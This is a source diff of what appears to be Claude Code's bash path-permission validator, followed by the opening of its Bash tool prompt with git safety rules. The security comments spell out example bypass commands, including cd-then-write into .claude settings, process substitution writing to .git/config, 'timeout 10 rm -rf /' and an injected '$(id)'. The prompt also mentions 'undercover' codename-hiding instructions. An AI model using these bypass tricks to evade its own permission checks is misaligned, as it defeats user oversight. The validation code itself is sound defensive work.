+  od: 'display octal dump of files from',
+  base64: 'encode/decode files from',
+  nl: 'number lines in files from',
+  grep: 'search for patterns in files from',
+  rg: 'search for patterns in files from',
+  sed: 'edit files in',
+  git: 'access files with git from',
+  jq: 'process JSON from files in',
+  sha256sum: 'compute SHA-256 checksums for files in',
+  sha1sum: 'compute SHA-1 checksums for files in',
+  md5sum: 'compute MD5 checksums for files in',
+}
+
+export const COMMAND_OPERATION_TYPE: Record<PathCommand, FileOperationType> = {
+  cd: 'read',
+  ls: 'read',
+  find: 'read',
+  mkdir: 'create',
+  touch: 'create',
+  rm: 'write',
+  rmdir: 'write',
+  mv: 'write',
+  cp: 'write',
+  cat: 'read',
+  head: 'read',
+  tail: 'read',
+  sort: 'read',
+  uniq: 'read',
+  wc: 'read',
+  cut: 'read',
+  paste: 'read',
+  column: 'read',
+  tr: 'read',
+  file: 'read',
+  stat: 'read',
+  diff: 'read',
+  awk: 'read',
+  strings: 'read',
+  hexdump: 'read',
+  od: 'read',
+  base64: 'read',
+  nl: 'read',
+  grep: 'read',
+  rg: 'read',
+  sed: 'write',
+  git: 'read',
+  jq: 'read',
+  sha256sum: 'read',
+  sha1sum: 'read',
+  md5sum: 'read',
+}
+
+/**
+ * Command-specific validators that run before path validation.
+ * Returns true if the command is valid, false if it should be rejected.
+ * Used to block commands with flags that could bypass path validation.
+ */
+const COMMAND_VALIDATOR: Partial<
+  Record<PathCommand, (args: string[]) => boolean>
+> = {
+  mv: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
+  cp: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
+}
+
+function validateCommandPaths(
+  command: PathCommand,
+  args: string[],
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+  operationTypeOverride?: FileOperationType,
+): PermissionResult {
+  const extractor = PATH_EXTRACTORS[command]
+  const paths = extractor(args)
+  const operationType = operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
+
+  // SECURITY: Check command-specific validators (e.g., to block flags that could bypass path validation)
+  // Some commands like mv/cp have flags (--target-directory=PATH) that can bypass path extraction,
+  // so we block ALL flags for these commands to ensure security.
+  const validator = COMMAND_VALIDATOR[command]
+  if (validator && !validator(args)) {
+    return {
+      behavior: 'ask',
+      message: `${command} with flags requires manual approval to ensure path safety. For security, Claude Code cannot automatically validate ${command} commands that use flags, as some flags like --target-directory=PATH can bypass path validation.`,
+      decisionReason: {
+        type: 'other',
+        reason: `${command} command with flags requires manual approval`,
+      },
+    }
+  }
+
+  // SECURITY: Block write operations in compound commands containing 'cd'
+  // This prevents bypassing path safety checks via directory changes before operations.
+  // Example attack: cd .claude/ && mv test.txt settings.json
+  // This would bypass the check for .claude/settings.json because paths are resolved
+  // relative to the original CWD, not accounting for the cd's effect.
+  //
+  // ALTERNATIVE APPROACH: Instead of blocking all writes with cd, we could track the
+  // effective CWD through the command chain (e.g., after "cd .claude/", subsequent
+  // commands would be validated with CWD=".claude/"). This would be more permissive
+  // but requires careful handling of:
+  // - Relative paths (cd ../foo)
+  // - Special cd targets (cd ~, cd -, cd with no args)
+  // - Multiple cd commands in sequence
+  // - Error cases where cd target cannot be determined
+  // For now, we take the conservative approach of requiring manual approval.
+  if (compoundCommandHasCd && operationType !== 'read') {
+    return {
+      behavior: 'ask',
+      message: `Commands that change directories and perform write operations require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
+      decisionReason: {
+        type: 'other',
+        reason:
+          'Compound command contains cd with write operation - manual approval required to prevent path resolution bypass',
+      },
+    }
+  }
+
+  for (const path of paths) {
+    const { allowed, resolvedPath, decisionReason } = validatePath(
+      path,
+      cwd,
+      toolPermissionContext,
+      operationType,
+    )
+
+    if (!allowed) {
+      const workingDirs = Array.from(
+        allWorkingDirectories(toolPermissionContext),
+      )
+      const dirListStr = formatDirectoryList(workingDirs)
+
+      // Use security check's custom reason if available (type: 'other' or 'safetyCheck')
+      // Otherwise use the standard "was blocked" message
+      const message =
+        decisionReason?.type === 'other' ||
+        decisionReason?.type === 'safetyCheck'
+          ? decisionReason.reason
+          : `${command} in '${resolvedPath}' was blocked. For security, Claude Code may only ${ACTION_VERBS[command]} the allowed working directories for this session: ${dirListStr}.`
+
+      if (decisionReason?.type === 'rule') {
+        return {
+          behavior: 'deny',
+          message,
+          decisionReason,
+        }
+      }
+
+      return {
+        behavior: 'ask',
+        message,
+        blockedPath: resolvedPath,
+        decisionReason,
+      }
+    }
+  }
+
+  // All paths are valid - return passthrough
+  return {
+    behavior: 'passthrough',
+    message: `Path validation passed for ${command} command`,
+  }
+}
+
+export function createPathChecker(
+  command: PathCommand,
+  operationTypeOverride?: FileOperationType,
+) {
+  return (
+    args: string[],
+    cwd: string,
+    context: ToolPermissionContext,
+    compoundCommandHasCd?: boolean,
+  ): PermissionResult => {
+    // First check normal path validation (which includes explicit deny rules)
+    const result = validateCommandPaths(
+      command,
+      args,
+      cwd,
+      context,
+      compoundCommandHasCd,
+      operationTypeOverride,
+    )
+
+    // If explicitly denied, respect that (don't override with dangerous path message)
+    if (result.behavior === 'deny') {
+      return result
+    }
+
+    // Check for dangerous removal paths AFTER explicit deny rules but BEFORE other results
+    // This ensures the check runs even if the user has allowlist rules or if glob patterns
+    // were rejected, but respects explicit deny rules. Dangerous patterns get a specific
+    // error message that overrides generic glob pattern rejection messages.
+    if (command === 'rm' || command === 'rmdir') {
+      const dangerousPathResult = checkDangerousRemovalPaths(command, args, cwd)
+      if (dangerousPathResult.behavior !== 'passthrough') {
+        return dangerousPathResult
+      }
+    }
+
+    // If it's a passthrough, return it directly
+    if (result.behavior === 'passthrough') {
+      return result
+    }
+
+    // If it's an ask decision, add suggestions based on the operation type
+    if (result.behavior === 'ask') {
+      const operationType =
+        operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
+      const suggestions: PermissionUpdate[] = []
+
+      // Only suggest adding directory/rules if we have a blocked path
+      if (result.blockedPath) {
+        if (operationType === 'read') {
+          // For read operations, suggest a Read rule for the directory (only if it exists)
+          const dirPath = getDirectoryForPath(result.blockedPath)
+          const suggestion = createReadRuleSuggestion(dirPath, 'session')
+          if (suggestion) {
+            suggestions.push(suggestion)
+          }
+        } else {
+          // For write/create operations, suggest adding the directory
+          suggestions.push({
+            type: 'addDirectories',
+            directories: [getDirectoryForPath(result.blockedPath)],
+            destination: 'session',
+          })
+        }
+      }
+
+      // For write operations, also suggest enabling accept-edits mode
+      if (operationType === 'write' || operationType === 'create') {
+        suggestions.push({
+          type: 'setMode',
+          mode: 'acceptEdits',
+          destination: 'session',
+        })
+      }
+
+      result.suggestions = suggestions
+    }
+
+    // Return the decision directly
+    return result
+  }
+}
+
+/**
+ * Parses command arguments using shell-quote, converting glob objects to strings.
+ * This is necessary because shell-quote parses patterns like *.txt as glob objects,
+ * but we need them as strings for path validation.
+ */
+function parseCommandArguments(cmd: string): string[] {
+  const parseResult = tryParseShellCommand(cmd, env => `$${env}`)
+  if (!parseResult.success) {
+    // Malformed shell syntax, return empty array
+    return []
+  }
+  const parsed = parseResult.tokens
+  const extractedArgs: string[] = []
+
+  for (const arg of parsed) {
+    if (typeof arg === 'string') {
+      // Include empty strings - they're valid arguments (e.g., grep "" /tmp/t)
+      extractedArgs.push(arg)
+    } else if (
+      typeof arg === 'object' &&
+      arg !== null &&
+      'op' in arg &&
+      arg.op === 'glob' &&
+      'pattern' in arg
+    ) {
+      // shell-quote parses glob patterns as objects, but we need them as strings for validation
+      extractedArgs.push(String(arg.pattern))
+    }
+  }
+
+  return extractedArgs
+}
+
+/**
+ * Validates a single command for path constraints and shell safety.
+ *
+ * This function:
+ * 1. Parses the command arguments
+ * 2. Checks if it's a path command (cd, ls, find)
+ * 3. Validates for shell injection patterns
+ * 4. Validates all paths are within allowed directories
+ *
+ * @param cmd - The command string to validate
+ * @param cwd - Current working directory
+ * @param toolPermissionContext - Context containing allowed directories
+ * @param compoundCommandHasCd - Whether the full compound command contains a cd
+ * @returns PermissionResult - 'passthrough' if not a path command, otherwise validation result
+ */
+function validateSinglePathCommand(
+  cmd: string,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+): PermissionResult {
+  // SECURITY: Strip wrapper commands (timeout, nice, nohup, time) before extracting
+  // the base command. Without this, dangerous commands wrapped with these utilities
+  // would bypass path validation since the wrapper command (e.g., 'timeout') would
+  // be checked instead of the actual command (e.g., 'rm').
+  // Example: 'timeout 10 rm -rf /' would otherwise see 'timeout' as the base command.
+  const strippedCmd = stripSafeWrappers(cmd)
+
+  // Parse command into arguments, handling quotes and globs
+  const extractedArgs = parseCommandArguments(strippedCmd)
+  if (extractedArgs.length === 0) {
+    return {
+      behavior: 'passthrough',
+      message: 'Empty command - no paths to validate',
+    }
+  }
+
+  // Check if this is a path command we need to validate
+  const [baseCmd, ...args] = extractedArgs
+  if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
+    return {
+      behavior: 'passthrough',
+      message: `Command '${baseCmd}' is not a path-restricted command`,
+    }
+  }
+
+  // For read-only sed commands (e.g., sed -n '1,10p' file.txt),
+  // validate file paths as read operations instead of write operations.
+  // sed is normally classified as 'write' for path validation, but when the
+  // command is purely reading (line printing with -n), file args are read-only.
+  const operationTypeOverride =
+    baseCmd === 'sed' && sedCommandIsAllowedByAllowlist(strippedCmd)
+      ? ('read' as FileOperationType)
+      : undefined
+
+  // Validate all paths are within allowed directories
+  const pathChecker = createPathChecker(
+    baseCmd as PathCommand,
+    operationTypeOverride,
+  )
+  return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
+}
+
+/**
+ * Like validateSinglePathCommand but operates on AST-derived argv directly
+ * instead of re-parsing the command string with shell-quote. Avoids the
+ * shell-quote single-quote backslash bug that causes parseCommandArguments
+ * to silently return [] and skip path validation.
+ */
+function validateSinglePathCommandArgv(
+  cmd: SimpleCommand,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+): PermissionResult {
+  const argv = stripWrappersFromArgv(cmd.argv)
+  if (argv.length === 0) {
+    return {
+      behavior: 'passthrough',
+      message: 'Empty command - no paths to validate',
+    }
+  }
+  const [baseCmd, ...args] = argv
+  if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
+    return {
+      behavior: 'passthrough',
+      message: `Command '${baseCmd}' is not a path-restricted command`,
+    }
+  }
+  // sed read-only override: use .text for the allowlist check since
+  // sedCommandIsAllowedByAllowlist takes a string. argv is already
+  // wrapper-stripped but .text is raw tree-sitter span (includes
+  // `timeout 5 ` prefix), so strip here too.
+  const operationTypeOverride =
+    baseCmd === 'sed' &&
+    sedCommandIsAllowedByAllowlist(stripSafeWrappers(cmd.text))
+      ? ('read' as FileOperationType)
+      : undefined
+  const pathChecker = createPathChecker(
+    baseCmd as PathCommand,
+    operationTypeOverride,
+  )
+  return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
+}
+
+function validateOutputRedirections(
+  redirections: Array<{ target: string; operator: '>' | '>>' }>,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+): PermissionResult {
+  // SECURITY: Block output redirections in compound commands containing 'cd'
+  // This prevents bypassing path safety checks via directory changes before redirections.
+  // Example attack: cd .claude/ && echo "malicious" > settings.json
+  // The redirection target would be validated relative to the original CWD, but the
+  // actual write happens in the changed directory after 'cd' executes.
+  if (compoundCommandHasCd && redirections.length > 0) {
+    return {
+      behavior: 'ask',
+      message: `Commands that change directories and write via output redirection require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
+      decisionReason: {
+        type: 'other',
+        reason:
+          'Compound command contains cd with output redirection - manual approval required to prevent path resolution bypass',
+      },
+    }
+  }
+  for (const { target } of redirections) {
+    // /dev/null is always safe - it discards output
+    if (target === '/dev/null') {
+      continue
+    }
+    const { allowed, resolvedPath, decisionReason } = validatePath(
+      target,
+      cwd,
+      toolPermissionContext,
+      'create', // Treat > and >> as create operations
+    )
+
+    if (!allowed) {
+      const workingDirs = Array.from(
+        allWorkingDirectories(toolPermissionContext),
+      )
+      const dirListStr = formatDirectoryList(workingDirs)
+
+      // Use security check's custom reason if available (type: 'other' or 'safetyCheck')
+      // Otherwise use the standard message for deny rules or working directory restrictions
+      const message =
+        decisionReason?.type === 'other' ||
+        decisionReason?.type === 'safetyCheck'
+          ? decisionReason.reason
+          : decisionReason?.type === 'rule'
+            ? `Output redirection to '${resolvedPath}' was blocked by a deny rule.`
+            : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
+
+      // If denied by a deny rule, return 'deny' behavior
+      if (decisionReason?.type === 'rule') {
+        return {
+          behavior: 'deny',
+          message,
+          decisionReason,
+        }
+      }
+
+      return {
+        behavior: 'ask',
+        message,
+        blockedPath: resolvedPath,
+        decisionReason,
+        suggestions: [
+          {
+            type: 'addDirectories',
+            directories: [getDirectoryForPath(resolvedPath)],
+            destination: 'session',
+          },
+        ],
+      }
+    }
+  }
+
+  return {
+    behavior: 'passthrough',
+    message: 'No unsafe redirections found',
+  }
+}
+
+/**
+ * Checks path constraints for commands that access the filesystem (cd, ls, find).
+ * Also validates output redirections to ensure they're within allowed directories.
+ *
+ * @returns
+ * - 'ask' if any path command or redirection tries to access outside allowed directories
+ * - 'passthrough' if no path commands were found or if all are within allowed directories
+ */
+export function checkPathConstraints(
+  input: z.infer<typeof BashTool.inputSchema>,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+  astRedirects?: Redirect[],
+  astCommands?: SimpleCommand[],
+): PermissionResult {
+  // SECURITY: Process substitution >(cmd) can execute commands that write to files
+  // without those files appearing as redirect targets. For example:
+  //   echo secret > >(tee .git/config)
+  // The tee command writes to .git/config but it's not detected as a redirect.
+  // Require explicit approval for any command containing process substitution.
+  // Skip on AST path — process_substitution is in DANGEROUS_TYPES and
+  // already returned too-complex before reaching here.
+  if (!astCommands && />>\s*>\s*\(|>\s*>\s*\(|<\s*\(/.test(input.command)) {
+    return {
+      behavior: 'ask',
+      message:
+        'Process substitution (>(...) or <(...)) can execute arbitrary commands and requires manual approval',
+      decisionReason: {
+        type: 'other',
+        reason: 'Process substitution requires manual approval',
+      },
+    }
+  }
+
+  // SECURITY: When AST-derived redirects are available, use them directly
+  // instead of re-parsing with shell-quote. shell-quote has a known
+  // single-quote backslash bug that silently merges redirect operators into
+  // garbled tokens on a successful parse (not a parse failure, so the
+  // fail-closed guard doesn't help). The AST already resolved targets
+  // correctly and checkSemantics validated them.
+  const { redirections, hasDangerousRedirection } = astRedirects
+    ? astRedirectsToOutputRedirections(astRedirects)
+    : extractOutputRedirections(input.command)
+
+  // SECURITY: If we found a redirection operator with a target containing shell expansion
+  // syntax ($VAR or %VAR%), require manual approval since the target can't be safely validated.
+  if (hasDangerousRedirection) {
+    return {
+      behavior: 'ask',
+      message: 'Shell expansion syntax in paths requires manual approval',
+      decisionReason: {
+        type: 'other',
+        reason: 'Shell expansion syntax in paths requires manual approval',
+      },
+    }
+  }
+  const redirectionResult = validateOutputRedirections(
+    redirections,
+    cwd,
+    toolPermissionContext,
+    compoundCommandHasCd,
+  )
+  if (redirectionResult.behavior !== 'passthrough') {
+    return redirectionResult
+  }
+
+  // SECURITY: When AST-derived commands are available, iterate them with
+  // pre-parsed argv instead of re-parsing via splitCommand_DEPRECATED + shell-quote.
+  // shell-quote has a single-quote backslash bug that causes
+  // parseCommandArguments to silently return [] and skip path validation
+  // (isDangerousRemovalPath etc). The AST already resolved argv correctly.
+  if (astCommands) {
+    for (const cmd of astCommands) {
+      const result = validateSinglePathCommandArgv(
+        cmd,
+        cwd,
+        toolPermissionContext,
+        compoundCommandHasCd,
+      )
+      if (result.behavior === 'ask' || result.behavior === 'deny') {
+        return result
+      }
+    }
+  } else {
+    const commands = splitCommand_DEPRECATED(input.command)
+    for (const cmd of commands) {
+      const result = validateSinglePathCommand(
+        cmd,
+        cwd,
+        toolPermissionContext,
+        compoundCommandHasCd,
+      )
+      if (result.behavior === 'ask' || result.behavior === 'deny') {
+        return result
+      }
+    }
+  }
+
+  // Always return passthrough to let other permission checks handle the command
+  return {
+    behavior: 'passthrough',
+    message: 'All path commands validated successfully',
+  }
+}
+
+/**
+ * Convert AST-derived Redirect[] to the format expected by
+ * validateOutputRedirections. Filters to output-only redirects (excluding
+ * fd duplications like 2>&1) and maps operators to '>' | '>>'.
+ */
+function astRedirectsToOutputRedirections(redirects: Redirect[]): {
+  redirections: Array<{ target: string; operator: '>' | '>>' }>
+  hasDangerousRedirection: boolean
+} {
+  const redirections: Array<{ target: string; operator: '>' | '>>' }> = []
+  for (const r of redirects) {
+    switch (r.op) {
+      case '>':
+      case '>|':
+      case '&>':
+        redirections.push({ target: r.target, operator: '>' })
+        break
+      case '>>':
+      case '&>>':
+        redirections.push({ target: r.target, operator: '>>' })
+        break
+      case '>&':
+        // >&N (digits only) is fd duplication (e.g. 2>&1, >&10), not a file
+        // write. >&file is the deprecated form of &>file (redirect to file).
+        if (!/^\d+$/.test(r.target)) {
+          redirections.push({ target: r.target, operator: '>' })
+        }
+        break
+      case '<':
+      case '<<':
+      case '<&':
+      case '<<<':
+        // input redirects — skip
+        break
+    }
+  }
+  // AST targets are fully resolved (no shell expansion) — checkSemantics
+  // already validated them. No dangerous redirections are possible.
+  return { redirections, hasDangerousRedirection: false }
+}
+
+// ───────────────────────────────────────────────────────────────────────────
+// Argv-level safe-wrapper stripping (timeout, nice, stdbuf, env, time, nohup)
+//
+// This is the CANONICAL stripWrappersFromArgv. bashPermissions.ts still
+// exports an older narrower copy (timeout/nice-n-N only) that is DEAD CODE
+// — no prod consumer — but CANNOT be removed: bashPermissions.ts is right
+// at Bun's feature() DCE complexity threshold, and deleting ~80 lines from
+// that module silently breaks feature('BASH_CLASSIFIER') evaluation (drops
+// every pendingClassifierCheck spread). Verified in PR #21503 round 3:
+// baseline classifier tests 30/30 pass, after deletion 22/30 fail. See
+// team memory: bun-feature-dce-cliff.md. Hit 3× in PR #21075 + twice in
+// #21503. The expanded version lives here (the only prod consumer) instead.
+//
+// KEEP IN SYNC with:
+//   - SAFE_WRAPPER_PATTERNS in bashPermissions.ts (text-based stripSafeWrappers)
+//   - the wrapper-stripping loop in checkSemantics (src/utils/bash/ast.ts ~1860)
+// If you add a wrapper in either, add it here too. Asymmetry means
+// checkSemantics exposes the wrapped command to semantic checks but path
+// validation sees the wrapper name → passthrough → wrapped paths never
+// validated (PR #21503 review comment 2907319120).
+// ───────────────────────────────────────────────────────────────────────────
+
+// SECURITY: allowlist for timeout flag VALUES (signals are TERM/KILL/9,
+// durations are 5/5s/10.5). Rejects $ ( ) ` | ; & and newlines that
+// previously matched via [^ \t]+ — `timeout -k$(id) 10 ls` must NOT strip.
+const TIMEOUT_FLAG_VALUE_RE = /^[A-Za-z0-9_.+-]+$/
+
+/**
+ * Parse timeout's GNU flags (long + short, fused + space-separated) and
+ * return the argv index of the DURATION token, or -1 if flags are unparseable.
+ */
+function skipTimeoutFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    const next = a[i + 1]
+    if (
+      arg === '--foreground' ||
+      arg === '--preserve-status' ||
+      arg === '--verbose'
+    )
+      i++
+    else if (/^--(?:kill-after|signal)=[A-Za-z0-9_.+-]+$/.test(arg)) i++
+    else if (
+      (arg === '--kill-after' || arg === '--signal') &&
+      next &&
+      TIMEOUT_FLAG_VALUE_RE.test(next)
+    )
+      i += 2
+    else if (arg === '--') {
+      i++
+      break
+    } // end-of-options marker
+    else if (arg.startsWith('--')) return -1
+    else if (arg === '-v') i++
+    else if (
+      (arg === '-k' || arg === '-s') &&
+      next &&
+      TIMEOUT_FLAG_VALUE_RE.test(next)
+    )
+      i += 2
+    else if (/^-[ks][A-Za-z0-9_.+-]+$/.test(arg)) i++
+    else if (arg.startsWith('-')) return -1
+    else break
+  }
+  return i
+}
+
+/**
+ * Parse stdbuf's flags (-i/-o/-e in fused/space-separated/long-= forms).
+ * Returns argv index of wrapped COMMAND, or -1 if unparseable or no flags
+ * consumed (stdbuf without flags is inert). Mirrors checkSemantics (ast.ts).
+ */
+function skipStdbufFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    if (/^-[ioe]$/.test(arg) && a[i + 1]) i += 2
+    else if (/^-[ioe]./.test(arg)) i++
+    else if (/^--(input|output|error)=/.test(arg)) i++
+    else if (arg.startsWith('-'))
+      return -1 // unknown flag: fail closed
+    else break
+  }
+  return i > 1 && i < a.length ? i : -1
+}
+
+/**
+ * Parse env's VAR=val and safe flags (-i/-0/-v/-u NAME). Returns argv index
+ * of wrapped COMMAND, or -1 if unparseable/no wrapped cmd. Rejects -S (argv
+ * splitter), -C/-P (altwd/altpath). Mirrors checkSemantics (ast.ts).
+ */
+function skipEnvFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    if (arg.includes('=') && !arg.startsWith('-')) i++
+    else if (arg === '-i' || arg === '-0' || arg === '-v') i++
+    else if (arg === '-u' && a[i + 1]) i += 2
+    else if (arg.startsWith('-'))
+      return -1 // -S/-C/-P/unknown: fail closed
+    else break
+  }
+  return i < a.length ? i : -1
+}
+
+/**
+ * Argv-level counterpart to stripSafeWrappers (bashPermissions.ts). Strips
+ * wrapper commands from AST-derived argv. Env vars are already separated
+ * into SimpleCommand.envVars so no env-var stripping here.
+ */
+export function stripWrappersFromArgv(argv: string[]): string[] {
+  let a = argv
+  for (;;) {
+    if (a[0] === 'time' || a[0] === 'nohup') {
+      a = a.slice(a[1] === '--' ? 2 : 1)
+    } else if (a[0] === 'timeout') {
+      const i = skipTimeoutFlags(a)
+      // SECURITY (PR #21503 round 3): unrecognized duration (`.5`, `+5`,
+      // `inf` — strtod formats GNU timeout accepts) → return a unchanged.
+      // Safe because checkSemantics (ast.ts) fails CLOSED on the same input
+      // and runs first in bashToolHasPermission, so we never reach here.
+      if (i < 0 || !a[i] || !/^\d+(?:\.\d+)?[smhd]?$/.test(a[i]!)) return a
+      a = a.slice(i + 1)
+    } else if (a[0] === 'nice') {
+      // SECURITY (PR #21503 round 3): mirror checkSemantics — handle bare
+      // `nice cmd` and legacy `nice -N cmd`, not just `nice -n N cmd`.
+      // Previously only `-n N` was stripped: `nice rm /outside` →
+      // baseCmd='nice' → passthrough → /outside never path-validated.
+      if (a[1] === '-n' && a[2] && /^-?\d+$/.test(a[2]))
+        a = a.slice(a[3] === '--' ? 4 : 3)
+      else if (a[1] && /^-\d+$/.test(a[1])) a = a.slice(a[2] === '--' ? 3 : 2)
+      else a = a.slice(a[1] === '--' ? 2 : 1)
+    } else if (a[0] === 'stdbuf') {
+      // SECURITY (PR #21503 round 3): PR-WIDENED. Pre-PR, `stdbuf -o0 -eL rm`
+      // was rejected by fragment check (old checkSemantics slice(2) left
+      // name='-eL'). Post-PR, checkSemantics strips both flags → name='rm'
+      // → passes. But stripWrappersFromArgv returned unchanged →
+      // baseCmd='stdbuf' → not in SUPPORTED_PATH_COMMANDS → passthrough.
+      const i = skipStdbufFlags(a)
+      if (i < 0) return a
+      a = a.slice(i)
+    } else if (a[0] === 'env') {
+      // Same asymmetry: checkSemantics strips env, we didn't.
+      const i = skipEnvFlags(a)
+      if (i < 0) return a
+      a = a.slice(i)
+    } else {
+      return a
+    }
+  }
+}

src/tools/BashTool/prompt.ts

@@ -0,0 +1,369 @@
+import { feature } from 'bun:bundle'
+import { prependBullets } from '../../constants/prompts.js'
+import { getAttributionTexts } from '../../utils/attribution.js'
+import { hasEmbeddedSearchTools } from '../../utils/embeddedTools.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { shouldIncludeGitInstructions } from '../../utils/gitSettings.js'
+import { getClaudeTempDir } from '../../utils/permissions/filesystem.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+import {
+  getDefaultBashTimeoutMs,
+  getMaxBashTimeoutMs,
+} from '../../utils/timeouts.js'
+import {
+  getUndercoverInstructions,
+  isUndercover,
+} from '../../utils/undercover.js'
+import { AGENT_TOOL_NAME } from '../AgentTool/constants.js'
+import { FILE_EDIT_TOOL_NAME } from '../FileEditTool/constants.js'
+import { FILE_READ_TOOL_NAME } from '../FileReadTool/prompt.js'
+import { FILE_WRITE_TOOL_NAME } from '../FileWriteTool/prompt.js'
+import { GLOB_TOOL_NAME } from '../GlobTool/prompt.js'
+import { GREP_TOOL_NAME } from '../GrepTool/prompt.js'
+import { TodoWriteTool } from '../TodoWriteTool/TodoWriteTool.js'
+import { BASH_TOOL_NAME } from './toolName.js'
+
+export function getDefaultTimeoutMs(): number {
+  return getDefaultBashTimeoutMs()
+}
+
+export function getMaxTimeoutMs(): number {
+  return getMaxBashTimeoutMs()
+}
+
+function getBackgroundUsageNote(): string | null {
+  if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS)) {
+    return null
+  }
+  return "You can use the `run_in_background` parameter to run the command in the background. Only use this if you don't need the result immediately and are OK being notified when the command completes later. You do not need to check the output right away - you'll be notified when it finishes. You do not need to use '&' at the end of the command when using this parameter."
+}
+
+function getCommitAndPRInstructions(): string {
+  // Defense-in-depth: undercover instructions must survive even if the user
+  // has disabled git instructions entirely. Attribution stripping and model-ID
+  // hiding are mechanical and work regardless, but the explicit "don't blow
+  // your cover" instructions are the last line of defense against the model
+  // volunteering an internal codename in a commit message.
+  const undercoverSection =
+    process.env.USER_TYPE === 'ant' && isUndercover()
+      ? getUndercoverInstructions() + '\n'
+      : ''
+
+  if (!shouldIncludeGitInstructions()) return undercoverSection
+
+  // For ant users, use the short version pointing to skills
+  if (process.env.USER_TYPE === 'ant') {
+    const skillsSection = !isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)
+      ? `For git commits and pull requests, use the \`/commit\` and \`/commit-push-pr\` skills:
+- \`/commit\` - Create a git commit with staged changes
+- \`/commit-push-pr\` - Commit, push, and create a pull request
+
+These skills handle git safety protocols, proper commit message formatting, and PR creation.
+
+Before creating a pull request, run \`/simplify\` to review your changes, then test end-to-end (e.g. via \`/tmux\` for interactive features).
+
+`
+      : ''
+    return `${undercoverSection}# Git operations
+
+${skillsSection}IMPORTANT: NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it.
+
+Use the gh command via the Bash tool for other GitHub-related tasks including working with issues, checks, and releases. If given a Github URL use the gh command to get the information needed.
+
+# Other common operations
+- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
+  }
+
+  // For external users, include full inline instructions
+  const { commit: commitAttribution, pr: prAttribution } = getAttributionTexts()
+
+  return `# Committing changes with git
+
+Only create commits when requested by the user. If unclear, ask first. When the user asks you to create a new git commit, follow these steps carefully:
+
+You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. The numbered steps below indicate which commands should be batched in parallel.
+
+Git Safety Protocol:
+- NEVER update the git config
+- NEVER run destructive git commands (push --force, reset --hard, checkout ., restore ., clean -f, branch -D) unless the user explicitly requests these actions. Taking unauthorized destructive actions is unhelpful and can result in lost work, so it's best to ONLY run these commands when given direct instructions 
+- NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it
+- NEVER run force push to main/master, warn the user if they request it
+- CRITICAL: Always create NEW commits rather than amending, unless the user explicitly requests a git amend. When a pre-commit hook fails, the commit did NOT happen — so --amend would modify the PREVIOUS commit, which may result in destroying work or losing previous changes. Instead, after hook failure, fix the issue, re-stage, and create a NEW commit
+- When staging files, prefer adding specific files by name rather than using "git add -A" or "git add .", which can accidentally include sensitive files (.env, credentials) or large binaries
+- NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive
+
+1. Run the following bash commands in parallel, each using the ${BASH_TOOL_NAME} tool:
+  - Run a git status command to see all untracked files. IMPORTANT: Never use the -uall flag as it can cause memory issues on large repos.
+  - Run a git diff command to see both staged and unstaged changes that will be committed.
+  - Run a git log command to see recent commit messages, so that you can follow this repository's commit message style.
+2. Analyze all staged changes (both previously staged and newly added) and draft a commit message:
+  - Summarize the nature of the changes (eg. new feature, enhancement to an existing feature, bug fix, refactoring, test, docs, etc.). Ensure the message accurately reflects the changes and their purpose (i.e. "add" means a wholly new feature, "update" means an enhancement to an existing feature, "fix" means a bug fix, etc.).
+  - Do not commit files that likely contain secrets (.env, credentials.json, etc). Warn the user if they specifically request to commit those files
+  - Draft a concise (1-2 sentences) commit message that focuses on the "why" rather than the "what"
+  - Ensure it accurately reflects the changes and their purpose
+3. Run the following commands in parallel:
+   - Add relevant untracked files to the staging area.
+   - Create the commit with a message${commitAttribution ? ` ending with:\n   ${commitAttribution}` : '.'}
+   - Run git status after the commit completes to verify success.
+   Note: git status depends on the commit completing, so run it sequentially after the commit.
+4. If the commit fails due to pre-commit hook: fix the issue and create a NEW commit
+
+Important notes:
+- NEVER run additional commands to read or explore code, besides git bash commands
+- NEVER use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
+- DO NOT push to the remote repository unless the user explicitly asks you to do so
+- IMPORTANT: Never use git commands with the -i flag (like git rebase -i or git add -i) since they require interactive input which is not supported.
+- IMPORTANT: Do not use --no-edit with git rebase commands, as the --no-edit flag is not a valid option for git rebase.
